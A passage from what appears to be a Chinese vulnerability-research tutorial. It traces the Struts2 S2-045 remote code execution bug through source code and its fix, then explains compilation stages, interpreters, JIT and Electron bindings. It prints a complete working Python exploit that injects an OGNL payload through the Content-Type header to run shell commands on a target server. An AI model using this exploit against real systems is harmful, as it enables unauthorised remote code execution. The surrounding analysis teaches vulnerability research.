\n```c++\n\n    Var JavascriptOperators::OP_GetProperty(Var instance, PropertyId propertyId, ScriptContext* scriptContext)\n    {\n        RecyclableObject* object = nullptr;\n        if (FALSE == JavascriptOperators::GetPropertyObject(instance, scriptContext, &object))  //  找不到对象的属性\n        {\n            if (scriptContext->GetThreadContext()->RecordImplicitException())\n            {\n                JavascriptError::ThrowTypeError(scriptContext, JSERR_Property_CannotGet_NullOrUndefined, scriptContext->GetPropertyName(propertyId)->GetBuffer());\n            }\n            else\n            {\n                return scriptContext->GetLibrary()->GetUndefined();  //  返回undefined 的值\n            }\n        }\n\n        Var result = JavascriptOperators::GetPropertyNoCache(instance, object, propertyId, scriptContext);  //  拿到对象属性的值\n        AssertMsg(result != nullptr, \"result null in OP_GetProperty\");\n        return result;\n    }\n\n```\n\n  聪明的你应该开始举一反三了,右键JavascriptOperators::OP_GetLength 搜素引用,开开心心挖漏洞.下面截个搜素引用结果的图\n\n![](pic4/find_get_length.png)\n\n  挑一些引用到Length 引用的地方,大部分JavaScript 执行引擎的OOB 漏洞都是因为长度可以被控制产生的问题\n\n![](pic4/get_source.png)\n\n![](pic4/set.png)\n\n![](pic4/incorrect_using_script_object_attribute_Javascrip.png)\n\n\n## 结合PoC 和源码来理解这类漏洞的原理\n\n  前面说了很多二进制(主要是C/C++ )的例子,现在来一个JAVA 库Struts2 的分析.以S2-045 为例子,从PoC 到触发漏洞的原理再深入理解WEB 类漏洞是怎么来挖的.我去百度了一个S2-045 的EXP .\n\n```python\n\n    import urllib2\n    import sys\n    from poster.encode import multipart_encode\n    from poster.streaminghttp import register_openers\n\n    def poc():\n        register_openers()\n        datagen, header = multipart_encode({\"image1\": open(\"tmp.txt\", \"rb\")})  #  构造Post 数据包\n        header[\"User-Agent\"]=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\"\n        header[\"Content-Type\"]=\"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\"  #  在Content-Type 中插入OGNL 利用代码\n        request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)  #  发送EXP\n        response = urllib2.urlopen(request)\n        print response.read()\n\n    poc()\n\n```\n\n  从PoC 里我们得知,恶意代码是从`Content-Type` 里面传递到漏洞点执行的.翻了翻Issus ,找到当时修复的Diff ,Link:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b\n\n![](pic4/struts2_fix.png)\n\n![](pic4/struts2_fix_diff.png)\n\n  是不是觉得很神奇,是下面这句代码引发的血案\n\n```java\n\n    for (LocalizedMessage error : multiWrapper.getErrors()) {\n        if (validation != null) {\n            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));\n \n```\n\n  无论是WEB 还是二进制漏洞,本质上都是找到一个可以做到远程代码执行的地方.二进制里大多数的远程代码执行漏洞都是由于内存操作不当而引起的(想了解更多关于二进制因内存操作不当导致的远程代码执行的知识,请到这里了解更多:https://github.com/lcatro/vuln_javascript ),但是不排除有因为函数调用没有正确过滤而导致的代码执行问题(参考CVE-2018-1000006 ,Commit:https://github.com/electron/electron/commit/c49cb29ddf3368daf279bd60c007f9c015bc834c );WEB 里的漏洞基本上都是因为调用敏感函数的问题导致的安全问题,比如:system() 远程命令执行,eval() 一句话木马,mysql_query() 数据库注入和现在要介绍的OGNL 执行函数.**如果没有对输入做校验和字符过滤,很有可能会让用户的输入流到敏感函数,导致远程代码执行,服务器被Getshell**.\n\n  现在回来看看上面的代码,到底哪儿出现了问题呢?我们先来阅读`LocalizedTextUtil.findText()` 的源码.在`core/src/main/java/com/opensymphony/xwork2/util/AbstractLocalizedTextProvider.java:194` 行\n\n```java\n\n    /**\n     * <p>\n     * Finds a localized text message for the given key, aTextName, in the specified resource\n     * bundle.\n     * </p>\n     *\n     * <p>\n     * If a message is found, it will also be interpolated.  Anything within <code>${...}</code>\n     * will be treated as an OGNL expression and evaluated as such.\n     * </p>\n     *\n     * <p>\n     * If a message is <b>not</b> found a WARN log will be logged.\n     * </p>\n     *\n     * @param bundle         the bundle\n     * @param aTextName      the key\n     * @param locale         the locale\n     * @param defaultMessage the default message to use if no message was found in the bundle\n     * @param args           arguments for the message formatter.\n     * @param valueStack     the OGNL value stack.\n     * @return the localized text, or null if none can be found and no defaultMessage is provided\n     */\n    @Override\n    public String findText(ResourceBundle bundle, String aTextName, Locale locale, String defaultMessage, Object[] args,\n                           ValueStack valueStack) {\n        try {\n            reloadBundles(valueStack.getContext());\n\n            String message = TextParseUtil.translateVariables(bundle.getString(aTextName), valueStack);\n            MessageFormat mf = buildMessageFormat(message, locale);\n\n            return formatWithNullDetection(mf, args);\n        } catch (MissingResourceException ex) {\n            if (devMode) {\n                LOG.warn(\"Missing key [{}] in bundle [{}]!\", aTextName, bundle);\n            } else {\n                LOG.debug(\"Missing key [{}] in bundle [{}]!\", aTextName, bundle);\n            }\n        }\n\n        GetDefaultMessageReturnArg result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);\n        if (unableToFindTextForKey(result)) {\n            LOG.warn(\"Unable to find text for key '{}' in ResourceBundles for locale '{}'\", aTextName, locale);\n        }\n        return result != null ? result.message : null;\n    }\n\n```\n\n  看到这里是不是懵逼了.我们一个个函数点进去看看,究竟都有些什么东西,但是限于篇幅,我就不全部把代码贴上来了,现在只放出一个关键函数的代码\n\n```java\n\n    /**\n     * @return the default message.\n     */\n    protected GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,\n                                                                String defaultMessage) {\n        GetDefaultMessageReturnArg result = null;\n        boolean found = true;\n\n        if (key != null) {\n            String message = findDefaultText(key, locale);\n\n            if (message == null) {\n                message = defaultMessage;\n                found = false; // not found in bundles\n            }\n\n            // defaultMessage may be null\n            if (message != null) {\n                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);\n\n                String msg = formatWithNullDetection(mf, args);\n                result = new GetDefaultMessageReturnArg(msg, found);\n            }\n        }\n\n        return result;\n    }\n\n```\n\n  还是使用上面的方式,一个个函数点进去看看,我们无需要对每个细节都要完全理解,但是要知道做了些什么,读者们可以通过函数名或者函数的逻辑来推断出来到底发生了什么事.继续往下探索,找到`translateVariables()` 的声明.\n  \n```java\n\n    /**\n     * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned\n     * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot\n     * be found on the stack (null is returned), then the entire variable ${...} is not\n     * displayed, just as if the item was on the stack but returned an empty string.\n     *\n     * @param expression an expression that hasn't yet been translated\n     * @param stack value stack\n     * @return the parsed expression\n     */\n    public static String translateVariables(String expression, ValueStack stack) {\n        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();\n    }\n    \n```\n\n  ??? ,这个函数居然是执行OGNL 表达式的.我们再一路往下找.\n\n```java\n    \n    //  经过多个重载之后..\n    \n    /**\n     * Converted object from variable translation.\n     *\n     * @param openChars open character array\n     * @param expression expression string\n     * @param stack value stack\n     * @param asType as class type\n     * @param evaluator value evaluator\n     * @param maxLoopCount max loop count\n     * @return Converted object from variable translation.\n     */\n    public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {\n\n        ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {\n            public Object evaluate(String parsedValue) {\n                Object o = stack.findValue(parsedValue, asType);\n                if (evaluator != null && o != null) {\n                    o = evaluator.evaluate(o.toString());\n                }\n                return o;\n            }\n        };\n\n        TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);\n\n        return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);  //  执行OGNL 表达式\n    }\n\n```\n\n  现在可以确定,`TextParseUtil.translateVariables()` 可以执行OGNL 表达式.参数1 是OGNL 表达式字符串,参数2 是值栈.知道这点之后,回来阅读这里的代码\n\n```java\n\n    protected GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,\n                                                                String defaultMessage) {\n        GetDefaultMessageReturnArg result = null;\n        boolean found = true;\n\n        if (key != null) {\n            String message = findDefaultText(key, locale);\n\n            if (message == null) {\n                message = defaultMessage;\n                found = false; // not found in bundles\n            }\n\n            // defaultMessage may be null\n            if (message != null) {\n                MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);\n\n```\n\n  也就是说,getDefaultMessage() 函数的defaultMessage 参数是可以执行OGNL 表达式的,而且defaultMessage 是由findText() 传递过来的.咱们还是去查查Strust2 的官方文档一探究竟.Link :https://struts.apache.org/maven/struts2-core/apidocs/index.html\n\n![](pic4/document.png)\n\n  官方文档竟然没有关于参数的介绍,那没关系,我们去找`LocalizedTextUtil.findText()`\n\n![](pic4/document1.png)\n\n  ??? .兄弟,这是几个意思?看来你这样要为难我小叮当啊.然后在谷歌百度胡乱搜了一下,结果找到了.\n\n![](pic4/document2.png)\n\n  好了,LocalizedTextUtil.findText() 的defaultMessage 参数既然可以执行OGNL 语句,那么我们再来看看Diff 的代码\n\n```java\n\n    for (LocalizedMessage error : multiWrapper.getErrors()) {\n        if (validation != null) {\n            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));\n\n```\n\n  居然是把一个错误提示信息拿来做参数,来看看LocalizedMessage 和multiWrapper.getErrors() 是什么\n\n```java\n\n    HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);\n\n    if (!(request instanceof MultiPartRequestWrapper)) {  //  如果request 不是MultiPartRequestWrapper 的示例,那就继续往下执行\n        if (LOG.isDebugEnabled()) {\n            ActionProxy proxy = invocation.getProxy();\n            LOG.debug(getTextMessage(\"struts.messages.bypass.request\", new String[]{proxy.getNamespace(), proxy.getActionName()}));\n        }\n\n        return invocation.invoke();  //  执行下一个invocation\n    }\n    \n    // ...\n    \n    MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;  //  获取Post Data 部分\n\n    if (multiWrapper.hasErrors() && validation != null) {\n        TextProvider textProvider = getTextProvider(action);\n        for (LocalizedMessage error : multiWrapper.getErrors()) {\n\n```\n\n  看到这里,可能读者们开始迷惑了,当时我也一样,看到这个代码结果确实有些头晕,不知道自己看的代码究竟在哪一部分,这个时候,我们就应该去找一找架构图\n\n![](pic4/strust2_arch.png)\n\n  看完了架构图之后,估计读者会分化为两部分了:瞬间明白整体原理和越看越懵逼的,我当时看这个架构图的时候就是属于越看越懵逼的那种哈哈哈.Struts2 是AOP (面向切面编程,意思是数据一层一层往上来处理,RASP 就是这个原理)模型.每个Interceptor 都对应不同的功能.触发漏洞的地方是在FileUploadInterceptor ,FileUploadInterceptor 是需要MultiPartRequestWrapper (对应MultiPartRequest)处理过的请求头,那么我们去找一下Struts2 关于MultiPartRequest 的请求,看看是在哪个Interceptor 里面处理的.现在我们看看Struts2 的Interceptor 的默认配置文件.代码位置`core/src/main/resources/struts-default.xml` ,Link : https://github.com/apache/struts/blob/a4439376b806fa73f96f469315d51ad83591b796/core/src/main/resources/struts-default.xml\n\n```xml\n\n    <bean type=\"org.apache.struts2.dispatcher.multipart.MultiPartRequest\" name=\"jakarta\" class=\"org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest\" scope=\"prototype\"/>\n    <bean type=\"org.apache.struts2.dispatcher.multipart.MultiPartRequest\" name=\"jakarta-stream\" class=\"org.apache.struts2.dispatcher.multipart.JakartaStreamMultiPartRequest\" scope=\"prototype\"/>\n\n```\n\n  原来MultiPartRequest 使用JakartaMultiPartRequest 和JakartaStreamMultiPartRequest 来做处理.那么现在看看MultiPartRequestWrapper 类的构造函数,Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java\n\n```java\n\n    /**\n     * Process file downloads and log any errors.\n     *\n     * @param multiPartRequest Our MultiPartRequest object\n     * @param request Our HttpServletRequest object\n     * @param saveDir Target directory for any files that we save\n     * @param provider locale provider\n     * @param disableRequestAttributeValueStackLookup disable the request attribute value stack lookup\n     */\n    public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,\n                                   String saveDir, LocaleProvider provider,\n                                   boolean disableRequestAttributeValueStackLookup) {\n        super(request, disableRequestAttributeValueStackLookup);\n        errors = new ArrayList<>();\n        multi = multiPartRequest;  //  multi 是初始化MultiPartRequestWrapper 传递进来的MultiPartRequest\n        defaultLocale = provider.getLocale();\n        setLocale(request);\n        try {\n            multi.parse(request, saveDir);  //  注意,解析request 请求头数据\n            for (LocalizedMessage error : multi.getErrors()) {\n                addError(error);\n            }\n        } catch (IOException e) {\n            LOG.warn(e.getMessage(), e);\n            addError(buildErrorMessage(e, new Object[] {e.getMessage()}));\n        } \n    }\n\n```\n\n  我们来看看Struts2 的文件上传部分.Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/filter/StrutsPrepareAndExecuteFilter.java\n\n```java\n\n    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {\n\n        HttpServletRequest request = (HttpServletRequest) req;\n        HttpServletResponse response = (HttpServletResponse) res;\n\n        try {\n            String uri = RequestUtils.getUri(request);\n            if (excludedPatterns != null && prepare.isUrlExcluded(request, excludedPatterns)) {\n                LOG.trace(\"Request {} is excluded from handling by Struts, passing request to other filters\", uri);\n                chain.doFilter(request, response);\n            } else {\n                LOG.trace(\"Checking if {} is a static resource\", uri);\n                boolean handled = execute.executeStaticResourceRequest(request, response);\n                if (!handled) {\n                    LOG.trace(\"Assuming uri {} as a normal action\", uri);\n                    prepare.setEncodingAndLocale(request, response);\n                    prepare.createActionContext(request, response);\n                    prepare.assignDispatcherToThread();\n                    request = prepare.wrapRequest(request);  //  解析请求头\n                    ActionMapping mapping = prepare.findActionMapping(request, response, true);\n                    if (mapping == null) {\n                        LOG.trace(\"Cannot find mapping for {}, passing to other filters\", uri);\n                        chain.doFilter(request, response);\n                    } else {\n                        LOG.trace(\"Found mapping {} for {}\", mapping, uri);\n                        execute.executeAction(request, response, mapping);\n                    }\n                }\n            }\n        } finally {\n            prepare.cleanupRequest(request);\n        }\n    }\n    \n    public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {\n        HttpServletRequest request = oldRequest;\n        try {\n            // Wrap request first, just in case it is multipart/form-data\n            // parameters might not be accessible through before encoding (ww-1278)\n            request = dispatcher.wrapRequest(request);  //  wrapRequest()\n            ServletActionContext.setRequest(request);\n        } catch (IOException e) {\n            throw new ServletException(\"Could not wrap servlet request with MultipartRequestWrapper!\", e);\n        }\n        return request;\n    }\n    \n    public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {\n        // don't wrap more than once\n        if (request instanceof StrutsRequestWrapper) {\n            return request;\n        }\n\n        String content_type = request.getContentType();\n        if (content_type != null && content_type.contains(\"multipart/form-data\")) {  //  根据Content_Type 的内容来判断是否选择MultiPartRequestWrapper\n            MultiPartRequest mpr = getMultiPartRequest();\n            LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);\n            request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);\n        } else {\n            request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);\n        }\n\n        return request;\n    }\n\n```\n\n  搞明白了Content-Type 为什么需要带上multipart/form-data 之后.再回过头来看漏洞描述,这个问题的触发点在JakartaStreamMultiPartRequest 这里.现在去找`JakartaStreamMultiPartRequest.parse()` 函数的实现代码.Link :https://github.com/apache/struts/blob/6e96f11debc4fa52c65a12b28fea82b514b96abd/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java\n  \n```java\n\n    public void parse(HttpServletRequest request, String saveDir) throws IOException {\n        try {\n            setLocale(request);\n            processUpload(request, saveDir);  //  处理上传请求\n        } catch (Exception e) {\n            LOG.warn(\"Error occurred during parsing of multi part request\", e);\n            LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});  //  保存错误消息\n            if (!errors.contains(errorMessage)) {\n                errors.add(errorMessage);\n            }\n        }\n    }\n    \n```\n\n  在此就不再往下分析了,最后会触发一个异常,让Content-Type 里面的值保存到errors 对象中\n\n```java\n\n    public abstract class AbstractMultiPartRequest implements MultiPartRequest {\n    \n        protected List<LocalizedMessage> errors = new ArrayList<>();\n    \n        public List<LocalizedMessage> getErrors() {  //  获取errors 的信息..\n            return errors;\n        }\n\n```\n\n  最后,我们回来看看patch 的代码\n\n```java\n\n    for (LocalizedMessage error : multiWrapper.getErrors()) {\n        if (validation != null) {\n            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));\n\n```\n\n  此时,由于Content-Type 的值导致Struts2 的JakartaStreamMultiPartRequest 解析异常,异常信息保存在`multiWrapper.getErrors()` 里,`LocalizedMessage error` 里面的还带有Content-Type 的值.这个内容传递到了`LocalizedTextUtil.findText()` ,这个地方是可以执行OGNL 语句的.那么我们在Content-Type 里面插入了OGNL 语句之后,触发异常,让Content-Type 的值保存到异常信息传递给`LocalizedTextUtil.findText()`,`LocalizedTextUtil.findText()` 执行了我们注入的OGNL 语句,引发了远程代码执行.\n\n\n## 结尾\n\n  读代码时比较迷惘,可以尝试换一个地方从新来读;读代码时比较迷惘,可以尝试谷歌百度搜素一下其他人的分析和用法;读代码时比较迷惘,可以尝试看看官方文档;读代码时比较迷惘,可以尝试换个歌单听一听.**切记!不要烦躁**\n\n"
  },
  {
    "path": "5.程序编译原理.md",
    "content": "\n\n\n## 必备工具\n\n  clang ,Python \n\n\n## 二进制编译原理\n\n  本节深入理解编译原理的各个部分,旨在于了解程序编译过程中编译器或脚本解析器做了哪些事情和实现细节,如果我们要在编译过程中进行Fuzzing 应该要怎么做.\n\n  我们知道,计算机的CPU 通过执行二进制的代码来计算程序的结果.人类编写的各种计算机语言,事实上是人类对语言的约定,我们应该要按照这种办法来编写代码,程序也应该按照人类的规划的方式来执行.这些文本代码经过编译器编译后,会翻译成机器可以执行的二进制代码,期间编译器做的工作包括:语法分析,对代码构建抽象语法树,编译成目标平台的汇编代码,链接生成程序.接下来就用clang 来一步步分析.\n\n  clang 是基于LLVM 的编译器,编译时的过程如下:\n\n![pic5/pic1.png](pic5/pic1.png)\n\n1. Clang Frontend(Clang 前端)部分主要的工作是对代码进行序列化为抽象语法树再编译成LLVM IR \n2. LLVM Optimizer(LLVM 优化器)对LLVM IR 进行优化或者混淆,接下来每个.c /.cpp 文件就会成为.o 文件\n3. LLVM Linker 对编译出来的.o 文件进行链接,合并所有.o 的代码并引入这些代码所需要的静态库代码和动态链接库的函数符号\n4. 最后根据目的平台的架构进行代码生成,输出二进制文件.\n\n  同样的原理深入GCC 的编译过程:\n\n1. GCC 首先调用**cpp** 把.c/.cpp 的宏处理好,生成.i 文件\n2. 把预处理过后的.i 文件传递给**cc** 来编译汇编代码到.s 文件\n3. 然后GCC 把汇编文件传递给**as** 生成.o 文件\n4. 最后通过**ld** 来链接所有的.o 文件输出可执行程序\n\n\n### AST (抽象语法树)\n\n  在编译器前端对文本代码进行解析时,目的就是为了对程序代码生成程序可以处理的树状结构,称之为抽象语法树.下面是一个例子:\n\n```c\n\n#include <stdio.h>\n\nint main(int argc,char** argv) {\n    int number = 1;\n    \n    number += 2;\n    \n    printf(\"Number=%d\\n\",number);\n    \n    return 0;\n}\n\n```\n\n  我们可以使用Clang 对上面的代码生成AST ,命令如下\n\n```shell\n\nclang -Xclang -ast-dump -fsyntax-only exmaple.c\n\n```\n\n  输出的结果较多,在此只取一部分显示结果\n\n![](pic5/pic2.png)\n\n  在Python 下我们可以使用内置的AST 库来对代码构建抽象语法树\n\n```python\n\nimport ast\n\nnode = ast.parse('a = 1')\n\nast.dump(node)\n\n```\n\n  在 `ast.dump()` 输出下可以看到JSON 格式的AST 树数据\n\n```txt\n\n>>> ast.dump(node)\n\"Module(body=[Assign(targets=[Name(id='a', ctx=Store())], value=Num(n=1))])\"\n\n```\n\n  文本代码经过序列化之后,那么编译器接下来就可以使用抽象语法树作为数据结构来进行编译操作了.除了编译之外,做自动化白盒审计也是用到AST 来对数据流和控制流进行分析,具体细节下一章再详细分析.\n\n\n### 汇编\n\n  到了汇编阶段,Clang 和GCC 的实现会稍微有点不同之处.\n\n  对于Clang 来说,汇编阶段是生成LLVM IR 代码,在链接时才针对目标架构进行汇编,我们使用下面这个命令来观察LLVM IR\n\n```shell\n\nclang -S -emit-llvm ./exmaple.c\ncat ./exmaple.ll\n\n```\n\n  对应输出的LLVM IR 代码如下\n\n![](pic5/pic3.png)\n\n  对于GCC 来说,汇编阶段已经生成针对目标架构生成了汇编代码,使用这个命令来观察GCC 汇编\n\n```shell\n\ngcc -S ./example.c\ncat ./example.s\n\n```\n\n![](pic5/pic4.png)\n\n### 链接\n\n  在最后链接输出二进制程序阶段,**ld** 把各个.o 文件和需要引用到的静态库引入打包生产二进制文件,二进制编译全过程如下图\n\n![](pic5/pic5.png)\n\n## 脚本语言运行原理\n\n  脚本语言运行原理和二进制运行原理有很大的不同之处,后者是直接通过CPU 可以执行的二进制代码来运行,脚本则是需要依赖一个程序来解析执行.下面以微软的JavaScript 引擎ChakraCode 作为剖析,先来看看ChakraCode 架构图:\n\n![](pic5/pic6.jpg)\n\n  浏览器中执行的JavaScript ,实际上是把JavaScript 代码传递给ChakraCode 来解析执行,ChakraCode 在运行时有一个上下文对象,我们根据这个对象来操作当前JavaScript 的全局对象和局部对象,也通过这个对象来区分不同的浏览器标签的JavaScript 执行空间.首先JavaScript 代码经过**Parser** 解析完成代码之后,编译成Chakra OpCode 代码流传递到**Interpreter** 中执行,也可以编译成二进制代码又**JIT** 执行.JavaScript 中的对象都由GC (**Garbage Collector** 垃圾回收器)处理,负责申请和清除对象所使用的内存空间.如果JavaScript 需要调用到一些底层的接口(比如操作socket),那这些接口的Binding 就在**Lowerer** 中实现.\n\n### Interpreter 脚本解析器\n\n  脚本解析器的作用是对OpCode 进行解析执行,意义为实现软件层的CPU ,执行脚本代码.这里以PHP 作为分析,代码位置(https://github.com/php/php-src/blob/623911f993f39ebbe75abe2771fc89faf6b15b9b/Zend/zend_ast.c#L449)\n\n```c\n\nZEND_API int ZEND_FASTCALL zend_ast_evaluate(zval *result, zend_ast *ast, zend_class_entry *scope)\n{\n\tzval op1, op2;\n\tint ret = SUCCESS;\n\n\tswitch (ast->kind) {\n\t\tcase ZEND_AST_BINARY_OP:  //  如果当前节点在AST 中为OpCode 类型,那就执行\n\t\t\tif (UNEXPECTED(zend_ast_evaluate(&op1, ast->child[0], scope) != SUCCESS)) {\n\t\t\t\tret = FAILURE;\n\t\t\t} else if (UNEXPECTED(zend_ast_evaluate(&op2, ast->child[1], scope) != SUCCESS)) {\n\t\t\t\tzval_ptr_dtor_nogc(&op1);\n\t\t\t\tret = FAILURE;\n\t\t\t} else {\n\t\t\t\tbinary_op_type op = get_binary_op(ast->attr);  //  根据指令来获取对应的执行回调函数\n\t\t\t\tret = op(result, &op1, &op2);  //  执行指令处理的回调函数\n\t\t\t\tzval_ptr_dtor_nogc(&op1);\n\t\t\t\tzval_ptr_dtor_nogc(&op2);\n\t\t\t}\n\t\t\tbreak;\n            \n//  省略无关代码\n\n```\n\n  再来看get_binary_op() 的函数代码,就是用一个大switch case 来返回回调函数指针(https://github.com/php/php-src/blob/0a6f85dbb3da5671a42c6034ab89db8ef4c6f23d/Zend/zend_opcode.c#L1017)\n\n```c\n\nZEND_API binary_op_type get_binary_op(int opcode)\n{\n\tswitch (opcode) {\n\t\tcase ZEND_ADD:\n\t\tcase ZEND_ASSIGN_ADD:\n\t\t\treturn (binary_op_type) add_function;\n\t\tcase ZEND_SUB:\n\t\tcase ZEND_ASSIGN_SUB:\n\t\t\treturn (binary_op_type) sub_function;\n\t\tcase ZEND_MUL:\n\t\tcase ZEND_ASSIGN_MUL:\n\t\t\treturn (binary_op_type) mul_function;\n// ...\n\n```\n\n### JIT (Just-in-Time)技术\n\n  JIT 的意义是为了加快脚本文件的执行,在编译阶段不编译成OpCode 而是编译成机器代码执行,这样就不需要用Interpreter 来解析OpCode 从而提高更多的性能.谈到JIT 在此要提到一些二进制分析工具,譬如Triton (https://github.com/JonathanSalwan/Triton),unicorn (http://www.unicorn-engine.org).这些工具是把二进制机器码抽象出来,放到专门的解析器中来执行(这样做就可以实现跨平台执行,比如说当前CPU 架构是x64 ,它可以直接x64 和x86 ,但是不可以执行ARM ,这就需要一个模拟器(emulator)来模拟ARM CPU 执行).\n\n\n### Binding 原理\n\n  Binding 的意义为底层写好的接口需要提供到上层来被调用,在解析器部分来说就是绑定内部函数对象到二进制函数代码位置.我们以electron 作为示例来讲解,先来看看渲染进程的ipcRendererInternal 的实现(https://github.com/electron/electron/blob/master/lib/renderer/ipc-renderer-internal.ts)\n\n```typescript\n\nconst binding = process.atomBinding('ipc')\nconst v8Util = process.atomBinding('v8_util')\n\n// Created by init.js.\nexport const ipcRendererInternal: Electron.IpcRendererInternal = v8Util.getHiddenValue(global, 'ipc-internal')\nconst internal = true\n\nipcRendererInternal.send = function (channel, ...args) {\n  return binding.send(internal, channel, args)\n}\n\nipcRendererInternal.sendSync = function (channel, ...args) {\n  return binding.sendSync(internal, channel, args)[0]\n}\n\nipcRendererInternal.sendTo = function (webContentsId, channel, ...args) {\n  return binding.sendTo(internal, false, webContentsId, channel, args)\n}\n\nipcRendererInternal.sendToAll = function (webContentsId, channel, ...args) {\n  return binding.sendTo(internal, true, webContentsId, channel, args)\n}\n\n```\n\n  可以看到,bingding 对象是由electron 封装好的ipc 接口,对应的实现代码在atom_api_rendere_ipc.cc(https://github.com/electron/electron/blob/master/atom/renderer/api/atom_api_renderer_ipc.cc)\n\n```c++\n\n//  省略无关代码\n\nvoid Send(mate::Arguments* args,\n          bool internal,\n          const std::string& channel,\n          const base::ListValue& arguments) {\n  RenderFrame* render_frame = GetCurrentRenderFrame();\n  if (render_frame == nullptr)\n    return;\n\n  bool success = render_frame->Send(new AtomFrameHostMsg_Message(\n      render_frame->GetRoutingID(), internal, channel, arguments));\n\n  if (!success)\n    args->ThrowError(\"Unable to send AtomFrameHostMsg_Message\");\n}\n\n//  省略无关代码\n\nvoid Initialize(v8::Local<v8::Object> exports,\n                v8::Local<v8::Value> unused,\n                v8::Local<v8::Context> context,\n                void* priv) {\n  mate::Dictionary dict(context->GetIsolate(), exports);\n  dict.SetMethod(\"send\", &Send);  //  在指定上下文中的exports 对象中设置send 函数的底层实现\n  //  省略无关代码\n}\n\n```\n\n\n## Linux 下的编译过程\n\n  对于程序的编译步骤上面已经提及了,那么我们用些示例程序来讲述各种编译工具的运行原理\n\n### Makefile\n\n  我们用AFL Fuzzer 作为例子,ls 列出目录文件,可以看到项目路径有一个Makefile 文件.\n\n![](pic5/pic7.png)\n\n  编译AFL 只需要在当前目录下进行`make` 命令即可对AFL Fuzzer 进行编译.\n\n![](pic5/pic8.png)\n\n  在窗口的输出可以看到`make` 命令调用`cc` 命令执行了编译操作,把afl-xx.c 文件编译成二进制程序并执行测试操作.这些编译的命令都是已经写好保存在Makefile 文件里面的,我们用`cat` 命令来查看文件的内容.\n\n```shell\n\nfcdeMacBook-Pro-2:afl-2.52b fc$ cat Makefile \n#\n# american fuzzy lop - makefile\n# -----------------------------\n#\n# Written and maintained by Michal Zalewski <lcamtuf@google.com>\n# \n# Copyright 2013, 2014, 2015, 2016, 2017 Google Inc. All rights reserved.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n# \n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n\n#  ---=== 设置环境变量 ===---\nPROGNAME    = afl\nVERSION     = $(shell grep '^\\#define VERSION ' config.h | cut -d '\"' -f2)\n\nPREFIX     ?= /usr/local\nBIN_PATH    = $(PREFIX)/bin\nHELPER_PATH = $(PREFIX)/lib/afl\nDOC_PATH    = $(PREFIX)/share/doc/afl\nMISC_PATH   = $(PREFIX)/share/afl\n\n# PROGS intentionally omit afl-as, which gets installed elsewhere.\n\nPROGS       = afl-gcc afl-fuzz afl-showmap afl-tmin afl-gotcpu afl-analyze\nSH_PROGS    = afl-plot afl-cmin afl-whatsup\n\nCFLAGS     ?= -O3 -funroll-loops\nCFLAGS     += -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign \\\n              -DAFL_PATH=\\\"$(HELPER_PATH)\\\" -DDOC_PATH=\\\"$(DOC_PATH)\\\" \\\n              